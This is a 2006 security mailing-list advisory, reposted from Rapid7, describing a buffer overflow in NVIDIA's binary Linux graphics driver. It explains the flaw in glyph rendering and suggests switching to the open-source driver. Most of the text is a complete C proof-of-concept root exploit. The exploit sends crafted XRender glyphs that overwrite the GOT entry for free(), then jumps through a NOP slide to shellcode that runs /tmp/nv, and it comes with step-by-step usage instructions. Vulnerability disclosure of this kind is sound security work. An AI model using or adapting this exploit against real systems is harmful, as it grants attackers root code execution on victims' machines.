

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-10/msg00061.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 17 Oct 2006 11:25:42 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

NVIDIA Binary Graphics Driver for Linux Buffer Overflow

SUMMARY

The NVIDIA Binary Graphics Driver for Linux is vulnerable to a buffer overflow that allows an attacker to run arbitrary code as root. This bug can be exploited both locally or remotely (via a remote X client or an X client which visits a malicious web page). A working proof-of-concept root exploit is included with this advisory.

The NVIDIA drivers for Solaris and FreeBSD are also likely to be vulnerable.

DETAILS

There have been multiple public reports of this NVIDIA bug on the NVNews forum [1,2] and elsewhere, dating back to 2004 [3]. NVIDIA's first public acknowledgement of this bug was on July 7th, 2006. In a public posting [1] on the NVNews forum, an NVIDIA employee reported having reproduced the problem, assigned it bug ID 239065, and promised a fix would be forthcoming.

As of the publication date, the latest NVIDIA binary driver is still

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

vulnerable. Furthermore, it is our opinion that NVIDIA's binary driver remains an unacceptable security risk based on the large numbers of reproducible, unfixed crashes that have been reported in public forums and bug databases. This number does not include bugs reported directly to NVIDIA.

1. <<http://www.nvnews.net/vbulletin/showthread.php?p=931048>>
<http://www.nvnews.net/vbulletin/showthread.php?p=931048> (Jul 2006)
2. <<http://www.nvnews.net/vbulletin/showthread.php?t=76493>>
<http://www.nvnews.net/vbulletin/showthread.php?t=76493> (Sep 2006)
3. <https://bugs.freedesktop.org/show_bug.cgi?id=2129>
https://bugs.freedesktop.org/show_bug.cgi?id=2129 (Dec 2004)
4. <<http://lists.freedesktop.org/archives/xorg/2005-January/005642.html>>
<http://lists.freedesktop.org/archives/xorg/2005-January/005642.html>
5. <<http://forums.gentoo.org/viewtopic.php?t=282107>>
<http://forums.gentoo.org/viewtopic.php?t=282107> (Jan 2005)
6. <https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299>
https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299 (Mar 2005)
7. <<http://www.nvnews.net/vbulletin/showthread.php?t=76206>>
<http://www.nvnews.net/vbulletin/showthread.php?t=76206> (Sep 2006)

Solution:

Disable the binary blob driver and use the open-source "nv" driver that is included by default with X.

Detailed analysis:

There are two NVIDIA graphics drivers for Linux: a closed-source binary blob driver provided by NVIDIA (which provides acceleration) and an open-source driver (which lacks acceleration). NVIDIA's binary blob driver contains an error in its accelerated rendering of glyphs (text character data) that can be exploited to write arbitrary data to anywhere in memory. The open-source driver is not vulnerable.

The XRender extension provides a client function named `XRenderCompositeString8` which tells the X server to render glyphs onto the screen. This request is processed by the server's `ProcRenderCompositeGlyphs` function. This function pulls the glyphs out of the render request, constructs a glyph list, and then calls into the graphics driver via a registered callback function.

The NVIDIA binary blob driver registers a function named `_nv000373X`. This function calculates a bounding `BoxRec` of the total area occupied by the glyph data. It then uses `Xalloc` to allocate a buffer large enough to hold the data by multiplying `width * height`. This buffer is then passed to another internal function called `_nv000053X`.

The `_nv000053X` function iterates over the glyph list and copies glyph data into the buffer using each glyph's accumulated width, `xOff`, height, and `yOff` values to calculate the destination position in the buffer. The NVIDIA binary blob driver does not check this calculation against the size of the allocated buffer. As a result, a short sequence of user-supplied

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

glyphs can be used to trick the function into writing to an arbitrary location in memory.

It is important to note that glyph data is supplied to the X server by the X client. Any remote X client can gain root privileges on the X server using the proof of concept program attached.

It is also trivial to exploit this vulnerability as a DoS by causing an existing X client program (such as Firefox) to render a long text string. It may be possible to use Flash movies, Java applets, or embedded web fonts to supply the custom glyph data necessary for reliable remote code execution.

A simple HTML page containing an INPUT field with a long value is sufficient to demonstrate the DoS.

Exploit:

```
/*
 * Copyright (c) 2005 Matthieu Herrb
 * Copyright (c) 2006 Derek Abdine, Marc Bevand
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
 * WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 *
 * Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
 * see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
 */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

#include <X11/Intrinsic.h>
#include <X11/Xft/Xft.h>

int done = 0;
unsigned long black_pixel;

/* This exploit takes two arguments:
 * o The lowest address past X's heap.
 * o X's data address.
 */
```

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

```
* Note the first address required is usually
* in the 0xbXXXXXXXX range, as the exploit
* forces the nvidia driver to allocate a large
* sum of memory.
*
* This information can be easily taken using:
* cat /proc/`pgrep Xorg`/maps | head -n 5
*
* On a sample system, this was:
*
* 08048000-081b8000 r-xp 00000000 09:02 58721202 /usr/bin/Xorg
* 081b8000-081c7000 rw-p 00170000 09:02 58721202 /usr/bin/Xorg
* 081c7000-08533000 rw-p 081c7000 00:00 0 [heap]
* b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154 /dev/nvidia0
* b60bd000-b6112000 rw-p b60bd000 00:00 0
*
* Thus, one would use:
*
* ./nv_exploit 0xb5bbc000 0x081b8000
*
* To run the exploit. Note that although the exploit "best guesses"
* the correct spot to write the shellcode, it may be off. This
* may be tweaked by modifying the 0x2C0000 in the source below.
* If the data is written to an incorrect location where vital
* X program data is stored, X will (eventually, if not immediately)
* crash.
*
* The exploit works by overwriting the address of free() in the
* Global Offset Table to an address offset relative to the supplied
* GOT address (second argument). The NVIDIA driver will then call
* Xfree, which will in turn call free() using the overwritten GOT
* entry and nop slide to the shellcode.
*/

/* The shellcode below will execute a shell script located
* at /tmp/nv. */
unsigned char shellcode[] =
"\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
"\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
"\x0b\x00\x00\xcd\x80";

typedef struct {
Display *display;
XtAppContext app;
Window win;
XftFont *font;
XftColor color, bg;
XftDraw *draw;
GC gc;
} XDataStr;
```

```

static void
sigHandler(int sig)
{
done = 1;
}

int
createWin(XDataStr *data)
{
u_long attributeMask;
XSetWindowAttributes attribute;
Window w;
Display *display = data->display;
int screen = DefaultScreen(display);
XGCValues gc_val;
Screen *s;

attribute.background_pixel = WhitePixel(display, screen);
attribute.border_pixel = WhitePixel(display, screen);
attribute.bit_gravity = NorthWestGravity;
attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
ExposureMask;

attributeMask =
CWBorderPixel |
CWBackPixel |
CWEventMask |
CWBitGravity;
s = ScreenOfDisplay(data->display, screen);

w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
DisplayWidth(display, screen)/2, 150,
0, DefaultDepth(display, screen), InputOutput,
DefaultVisual(display, screen), attributeMask, &attribute);

data->font = XftFontOpen(display, screen,
XFT_FAMILY, XftTypeString, "mono",
XFT_SIZE, XftTypeInteger, 16,
NULL);
if (!XftColorAllocName(display, XDefaultVisual(display, screen),
DefaultColormap(display, screen), "red4", &data->color)) {
fprintf(stderr, "cannot get color");
return -1;
}
if (!XftColorAllocName(display, XDefaultVisual(display, screen),
DefaultColormap(display, screen), "linen", &data->bg)) {
fprintf(stderr, "cannot get bg color");
return -1;
}
data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),

```

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

```
DefaultColormap(display, screen));
gc_val.foreground = BlackPixel(display, screen);
gc_val.background = WhitePixel(display, screen);
data->gc = XCreateGC (display, w, GCForeground|GCBackground,
&gc_val);

data->win = w;
return 0;
}

void
show(XDataStr *data)
{
Status s;

XMapWindow(data->display, data->win);
s = XGrabKeyboard(data->display, data->win, False,
GrabModeAsync, GrabModeAsync, CurrentTime);
if (s != GrabSuccess) {
printf("Error grabbing kbd %d\n", s);
}
}

int
main(int argc, char *argv[])
{
Display *display;
Widget toplevel;
XtAppContext app_con;
XEvent event;
char c, *string;
unsigned int i;
XDataStr *data;
XExposeEvent *expose = (XExposeEvent *)&event;
unsigned int heapaddr, gotaddr;

if (argc > 2)
{
heapaddr = strtoul(argv[1],NULL,0);
gotaddr = strtoul(argv[2],NULL,0);
}
else
{
printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
return 0;
}

toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
&argc, argv, NULL, NULL, 0);
display = XtDisplay(toplevel);
```

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

```
data = (XDataStr *)malloc(sizeof(XDataStr));
if (data == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}

data->display = display;
data->app = app_con;

if (createWin(data) < 0) {
fprintf(stderr, "can't create Data Window");
exit(EXIT_FAILURE);
}
show(data);

signal(SIGINT, sigHandler);
signal(SIGHUP, sigHandler);
signal(SIGQUIT, sigHandler);
signal(SIGTERM, sigHandler);

/*****
* BEGIN FONT HEAP OVERFLOW SETUP CODE
*
* "It's so hard to write a graphics driver that open-sourcing it
would
* not help."
* - Andrew Fear, Software Product Manager (NVIDIA Corporation).

*****/
XGlyphInfo * glyphs;
XRenderPictFormat fmt;
XRenderPictFormat *mask = 0;
GlyphSet gset;
char * buf =0;
int offset, cr, numB;
int xscreenpos = 32680;
int magic_len = 32768 - xscreenpos;
int wr_addr_len = 3548;
int wr_nop_len = 200;

/* Calculate the offset to the Global Offset Table.
* 0x2C0000 is the size of the buffer the NVIDIA driver
* allocates for us when it is about to draw.
*/
offset = gotaddr-(heapaddr-0x2C0000);
offset += magic_len;
glyphs = malloc(sizeof(XGlyphInfo)*3);

/* Payload glyph */
glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more
```

```
than necessary */
glyphs[0].height = 1;
glyphs[0].yOff = 0;
glyphs[0].xOff = glyphs[0].width;
glyphs[0].x = 0;
glyphs[0].y = 0;

/* Large offset glyph (untweaked) */
glyphs[1].width=0;
glyphs[1].height=0;
glyphs[1].yOff=32767;
glyphs[1].xOff=0;
glyphs[1].x = 0;
glyphs[1].y = 0;

/* Small offset glyph (tweaked) */
glyphs[2].width=0;
glyphs[2].height=0;
glyphs[2].yOff=0;
glyphs[2].xOff=0;
glyphs[2].x = 0;
glyphs[2].y = 0;

fmt.type = PictTypeDirect;
fmt.depth = 8;

Glyph * xglyphids = malloc(3*sizeof(Glyph));

xglyphids[0] = 'A';
xglyphids[1] = 'B';
xglyphids[2] = 'C';

int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned
*/
int bufsize = stride*glyphs[0].height;
buf = malloc(bufsize);

/* Write jump address to the buffer a number of times */
for (cr=0; cr<wr_addr_len; cr+=4)
{
*((unsigned int*)((unsigned char*)buf + cr)) =
gotaddr+wr_addr_len+4;
}

/* Write the NOP instructions until wr_nop_len */
memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

/* Write the shellcode */
cr+=wr_nop_len;
memcpy(buf+cr, shellcode, sizeof(shellcode));
```

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

```
/* Calculate the number of B's required to send */
numB = offset / (glyphs[1].yOff * magic_len);

/* We send only one C, but we change its yOff value according to
 * how much space we have left before we meet the correct index length
 */
glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) /
(magic_len);

/* Now create a new buffer for the string data */
string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
for (cr=0; cr<numB; cr++) string[cr] = 'B';
string[cr] = 'C'; cr++;
string[cr] = 'A'; cr++;
string[cr] = 0;

mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth,
&fmt, 0);
gset = XRenderCreateGlyphSet(display, mask);

if (mask)
{
/* Ask the server to tie the glyphs to the glyphset we created,
 * with our addr/nopslide/shellcode buffer as the alpha data.
 */
XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf,
bufsize);
}
/* END FONT HEAP OVERFLOW SETUP CODE */

done = 0;
while (!done) {
XNextEvent(display, &event);
switch(event.type) {
case KeyPress:
i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
done = 1;
}
break;
case Expose:
XftDrawRect(data->draw, &data->bg,
expose->x, expose->y,
expose->width, expose->height);
/* Send malignant glyphs and execute shellcode on target
 */
XRenderCompositeString8(display, PictOpOver,
XftDrawSrcPicture(data->draw, &data->color),
XftDrawPicture(data->draw), mask, gset,
0, 0, xscreenpos, 0, string, strlen(string));
break;
}
```

[UNIX] NVIDIA Binary Graphics Driver for Linux Buffer Overflow

```
}  
}  
  
free(glyphs);  
free(xglyphids);  
free(buf);  
free(string);  
  
XFlush(display);  
XUnmapWindow(data->display, data->win);  
XUngrabKeyboard(data->display, CurrentTime);  
XCloseDisplay(display);  
exit(EXIT_SUCCESS);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:advisory@xxxxxxxxxx>> Rapid7.
The original article can be found at:
<<http://www.rapid7.com/advisories/R7-0025.jsp>>
<http://www.rapid7.com/advisories/R7-0025.jsp>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.